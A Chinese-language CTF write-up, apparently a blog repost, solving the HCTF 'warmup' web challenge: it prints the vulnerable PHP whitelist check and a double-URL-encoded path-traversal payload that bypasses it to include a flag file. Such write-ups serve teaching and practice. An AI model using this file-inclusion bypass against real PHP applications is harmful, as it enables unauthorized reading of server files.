CTF warmup

系统管理员 2022-12-11 03:22 215阅读 0赞

**难度系数：** ★★  
**题目来源：** HCTF  
**题目描述：** 暂无  
**题目场景：** [http://220.249.52.133:38343 ][http_220.249.52.133_38343] （温馨提示：每次进入URL的端口号都不一样）

**1、点击链接进入如下界面**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center]  
**2、查看源代码（按F12或F12+Fn），出现以下代码。**

<!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    <body>
        
        
        <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
    </html>

**3、发现了“source.php”**

则在链接后面加上“/source.php”

既是http://220.249.52.133:38343/source.php

**4、输入URL之后，跳出以下信息**

<?php
        highlight_file(__FILE__);
        class emmm
        { 
            public static function checkFile(&$page)
            { 
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) { 
                    echo "you can't see it";
                    return false;
                }
    
                if (in_array($page, $whitelist)) { 
                    return true;
                }
    
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
    ?>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 1]

**5、发现了关键信息**

$whitelist = \[“source”=>“source.php”,“hint”=>“hint.php”\];

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 2]

**6、在链接后加上/hint.php**

URL： http://220.249.52.133:38343/hint.php

**7、输入URL，出现以下信息**

![在这里插入图片描述][20200928101931344.png_pic_center]  
**8、然后构造payload**

?file=source.php%253f/../../../../ffffllllaaaagggg

URL: http://220.249.52.133:38343/source.php?file=source.php%253f/../../../../ffffllllaaaagggg

这样也可以，等等！

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 3]

**9、找到flag**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 4]  
**10、OK**

flag\{25e7bce6005c4e0c983fb97297ac6e5a\}

[http_220.249.52.133_38343]: http://220.249.52.133:38343
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center]: /images/20221123/b61bdd82174a4e32829935caf7ba36fb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221123/a1108c58a86c448f8f85b302875605b3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221123/3a5f4806c85240978408902ec2e5f752.png
[20200928101931344.png_pic_center]: /images/20221123/a6e36b5e32174ca2a08e39fb62b25aef.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221123/c03ea26616364b44b7ab6d92f1b41b5b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221123/84ec1348232d4cb78bc6d8e14c723378.png